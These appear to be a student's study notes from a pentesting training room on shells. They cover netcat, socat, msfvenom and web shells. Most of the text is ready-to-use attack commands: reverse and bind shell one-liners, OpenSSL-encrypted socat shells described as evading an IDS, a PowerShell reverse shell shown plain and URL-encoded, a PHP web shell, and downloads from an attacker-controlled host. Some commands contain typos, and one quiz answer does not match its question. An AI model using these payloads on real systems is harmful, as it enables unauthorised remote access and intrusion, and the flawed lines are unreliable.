• There are a variety of tools that we will be using to receive reverse shells and to send bind shells. In general terms, we need malicious shell code, as well as a way of interfacing with the resulting shell.

  • Netcat - A tradional swiss army knife of Networking.

  • Socat is like netcat on steroids. It can do all same things, and many more. Socat shells are usually more stable than netcat shells out of the box.

  • Metasploit - multi/handler - this module is like a socat, and netcat - used to receive the reverse shells.

  • One of the most prominent of these is Payloads All The Things. The PentestMonkey Reverse Shell Cheatsheet is also commonly used.

Types of Shells#

  • Reverse shells are when the target is forced to execute code that connects back to your computer. Reverse shells are a good way to bypass firewall rules that may prevent you from connecting to arbitrary ports on the target; however, the drawback is that, when receiving a shell from a machine across the internet, you would need to configure your own network to accept the shell. Please see the example of reverse shell below using netcat
    sudo nc -lvnp 443 # On the attacking machine:
    nc <LOCAL-IP> <PORT> -e /bin/bash  # On the target:
    
  • Bind shells are when the code executed on the target is used to start a listener attached to a shell directly on the target. This would then be opened up to the internet, meaning you can connect to the port that the code has opened and obtain remote code execution that way. This has the advantage of not requiring any configuration on your own network, but may be prevented by firewalls protecting the target. Please see the example of bind shell using the netcat.
    nc -lvnp <port> -e "cmd.exe" #On the target:
    nc MACHINE_IP <port> #On the attacking machine:
    

Netcat Shell Stabilisation#

  • Ok, so we’ve caught or connected to a netcat shell, what next?
  • Netcat shells are very unstable by default.They are non-interactive, and often have strange formatting errors. This is due to netcat “shells” really being processes running inside a terminal, rather than being bonafide terminals in their own right.
  • Fortunately, there are many ways to stabilise netcat shells on Linux systems

Technique 1: Python#

  • The first thing to do is use python -c 'import pty;pty.spawn("/bin/bash")', which uses Python to spawn a better featured bash shell; note that some targets may need the version of Python specified. If this is the case, replace python with python2 or python3 as required. At this point our shell will look a bit prettier, but we still won’t be able to use tab autocomplete or the arrow keys, and Ctrl + C will still kill the shell.
  • Step two is: export TERM=xterm - this will give us access to term commands such as clear.
  • Finally (and most importantly) we will background the shell using Ctrl + Z. Back in our own terminal we use stty raw -echo; fg. This does two things: first, it turns off our own terminal echo (which gives us access to tab autocompletes, the arrow keys, and Ctrl + C to kill processes). It then foregrounds the shell, thus completing the process.

Technique 2: rlwrap#

  • rlwrap is a program which, in simple terms, gives us access to history, tab autocompletion and the arrow keys immediately upon receiving a shell; however, some manual stabilisation must still be utilised if you want to be able to use Ctrl + C inside the shell. rlwrap is not installed by default on Kali, so first install it with sudo apt install rlwrap.
  • To use rlwrap, we invoke a slightly different listener: rlwrap nc -lvnp <port>
  • Background the shell with Ctrl + Z, then use stty raw -echo; fg to stabilise and re-enter the shell.

Technique 3: Socat (Not installed on target)#

  • To accomplish this method of stabilisation we would first transfer a socat static compiled binary (a version of the program compiled to have no dependencies) up to the target machine. A typical way to achieve this would be using a webserver on the attacking machine inside the directory containing your socat binary (sudo python3 -m http.server 80), then, on the target machine, using the netcat shell to download the file. On Linux this would be accomplished with curl or wget (wget <LOCAL-IP>/socat -O /tmp/socat).
  • For the sake of completeness: in a Windows CLI environment the same can be done with Powershell, using either Invoke-WebRequest or a webrequest system class, depending on the version of Powershell installed (Invoke-WebRequest -uri <LOCAL-IP>/socat.exe -outfile C:\\Windows\temp\socat.exe).

Terminal resize#

  • It’s useful to be able to change your terminal tty size, It must be done manually in a reverse or bind shell if you want to use something like a text editor which overwrites everything on the screen.
  • First, open another terminal and run stty -a. This will give you a large stream of output about the current shell. Next, in your reverse/bind shell, type in: stty rows <number> and stty cols <number> to get terminal resized.

Socat#

  • The easiest way to think about socat is as a connector between two points.

Reverse shells#

#Reverse shell listener (similar to nc -lvnp <port>), Attacker.
socat TCP-L:<port> -
#Windows (on Target): pipes option used to force powershell to use unix style standard intput and output
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes
#Linux (target)
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"

Bind shells#

#On linux target, we use
socat TCP-L:<port> EXEC:"bash -li"
#On windows target
socat TCP-L:<port> EXEC:powershell.exe,pipes
#And for attacking, regardless of machine
socat TCP:<TARGET-IP>:<TARGET-PORT> -
  • Now let’s take a look at one of the more powerful uses for Socat: a fully stable Linux tty reverse shell listner. This will only work when the target is Linux, but is significantly more stable. socat TCP-L:<port> FILE:`tty`,raw,echo=0
  • The first listener can be connected to with any payload; however, this special listener must be activated with a very specific socat command. This means that the target must have socat installed. Most machines do not have socat installed by default; however, it’s possible to upload a precompiled socat binary, which can then be executed as normal. You can download a precompiled socat binary from this link.
#The special command is as follows:
socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane
#This is a handful, so let's break it down.
#The first part is easy -- we're linking up with the listener running on our own machine. The second part of the command creates an interactive bash session with  EXEC:"bash -li". We're also passing the arguments: pty, stderr, sigint, setsid and sane:

#pty, allocates a pseudoterminal on the target -- part of the stabilisation process
#stderr, makes sure that any error messages get shown in the shell (often a problem with non-interactive shells)
#sigint, passes any Ctrl + C commands through into the sub-process, allowing us to kill commands inside the shell
#setsid, creates the process in a new session
#sane, stabilises the terminal, attempting to "normalise" it.

Socat Encrypted Shells#

  • One of the many great things about socat is that it’s capable of creating encrypted shells – both bind and reverse. Why would we want to do this? Encrypted shells cannot be spied on unless you have the decryption key, and are often able to bypass an IDS as a result.
  • Suffice to say that any time TCP was used as part of a command, this should be replaced with OPENSSL when working with encrypted shells.
# We first need to generate a certificate in order to use encrypted shells. This is easiest to do on our attacking machine: 
openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
# This command creates a 2048 bit RSA key with matching cert file, self-signed, and valid for just under a year. 
# When you run this command it will ask you to fill in information about the certificate. 
# This can be left blank, or filled randomly.
# We then need to merge the two created files into a single .pem file:
cat shell.key shell.crt > shell.pem
# Now, when we set up our reverse shell listener, we use:
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -
# This sets up an OPENSSL listener using our generated certificate. 
# verify=0 tells the connection to not bother trying to validate that our certificate has been properly signed by a recognised authority. 
# Please note that the certificate must be used on whichever device is listening.
# To connect back, we would use:
socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash


# The same technique would apply for a bind shell:
# Target:
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes
# Attacker:
socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -
  • What is the syntax for setting up an OPENSSL-LISTENER using the tty technique from the previous task? Use port 53, and a PEM file called “encrypt.pem” ? socat OPENSSL:10.10.10.5:53,verify=0 EXEC:"bash -li",pty,stderr,sigint,setsid,sane
  • If your IP is 10.10.10.5, what syntax would you use to connect back to this listener? socat OPENSSL:10.10.10.5:53,verify=0 EXEC:"bash -li",pty,stderr,sigint,setsid,sane

Common Shell payloads#

  • Its not always lucky that we get shell directly using -e in the netcat as nc -lvnp <port> -e /bin/bash. Few version of netcat will not allow it, particulary linux. But there might be higher possibility that this feature is supported.

  • So, In linux, we use pipes to to the shell

  • bind shell, listener on target mkfifo /tmp/f; nc -lvnp <port> < /tmp/f | /bin/sh > /tmp/f 2>&1; rm -rf /tmp/f and to get shell on the attacker side, nc <target_ip> <port>.

  • Similarly, reverse shell. listener on the attacker side nc -lvnp <port> and the target side, mkfifo /tmp/f; nc <atacker_ip> <port> < /tmp/f | /bin/sh > /tmp/f 2>&1; rm -rf /tmp/f

  • When targeting a modern Windows Server, it is very common to require a Powershell reverse shell, so we’ll be covering the standard one-liner PSH reverse shell here. To use this below coomand, we have to replace the <ip> and <port> with ip and port of attcker.

powershell -c "$client = New-Object System.Net.Sockets.TCPClients('<ip>', <port>); $stream = $cient.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes.Length))) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (iex $data 2>&1 | Out-String); $sendback2 = $sendback + 'PS' + (pwd).Patch + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

MSVENOM#

  • Msfvenom: the one-stop-shop for all things payload related.
  • It is used extensively in lower-level exploit development to generate hexadecimal shellcode when developing something like a Buffer Overflow exploit; however, it can also be used to generate payloads in various formats (e.g. .exe, .aspx, .war, .py).
  • The standard syntax for msfvenom is as follows: msfvenom -p <PAYLOAD> <OPTIONS>
  • For example: msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port>, where -f - Specifies the output format, -o - The output location and filename for the generated payload.
  • Before we go any further, there are another two concepts which must be introduced: staged reverse shell payloads and stageless reverse shell payloads.
  • Staged payloads are sent in two parts. The first part is called the stager. This is a piece of code which is executed directly on the server itself. It connects back to a waiting listener, but doesn't actually contain any reverse shell code by itself. Instead it connects to the listener and uses the connection to load the real payload, executing it directly and preventing it from touching the disk where it could be caught by traditional anti-virus solutions. Thus the payload is split into two parts – a small initial stager, then the bulkier reverse shell code which is downloaded when the stager is activated. Staged payloads require a special listener – usually the Metasploit multi/handler, which will be covered in the next task.
  • Stageless payloads are more common – these are what we’ve been using up until now. They are entirely self-contained in that there is one piece of code which, when executed, sends a shell back immediately to the waiting listener. Stageless payloads tend to be easier to use and catch; however, they are also bulkier, and are easier for an antivirus or intrusion detection program to discover and remove.
  • Payload Naming Conventions: When working with msfvenom, it’s important to understand how the naming system works. The basic convention is as follows: <OS>/<arch>/<payload>. For example: linux/x86/shell_reverse_tcp.
  • Listing all available payloads, which can then be piped into grep to search for a specific set of payloads. For example. msfvenom --list payloads | grep windows/x64/meterpreter/

WEB SHELLS#

  • “Webshell” is a colloquial term for a script that runs inside a webserver (usually in a language such as PHP or ASP) which executes code on the server.
  • Essentially, commands are entered into a webpage – either through a HTML form, or directly as arguments in the URL – which are then executed by the script, with the results returned and written to the page. This can be extremely useful if there are firewalls in place, or even just as a stepping stone into a fully fledged reverse or bind shell.
  • As PHP is still the most common server side scripting language, let’s have a look at some simple code for this. In a very basic one line format: <?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>
  • This will take a GET parameter in the URL and execute it on the system with shell_exec(). Essentially, what this means is that any commands we enter in the URL after ?cmd= will be executed on the system – be it Windows or Linux.
  • As mentioned previously, there are a variety of webshells available on Kali by default at /usr/share/webshells – including the infamous PentestMonkey php-reverse-shell – a full reverse shell written in PHP.
  • When the target is Windows, it is often easiest to obtain RCE using a web shell, or by using msfvenom to generate a reverse/bind shell in the language of the server. With the former method, obtaining RCE is often done with a URL Encoded Powershell Reverse Shell.
powershell%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%27<IP>%27%2C<PORT>%29%3B%24stream%20%3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22

Practice Examples#

  • Try uploading a webshell to the Linux box, then use the command: nc <LOCAL-IP> <PORT> -e /bin/bash to send a reverse shell back to a waiting listener on your own machine.
  • Navigate to /usr/share/webshells/php/php-reverse-shell.php in Kali and change the IP and port to match your tun0 IP with a custom port. Set up a netcat listener, then upload and activate the shell.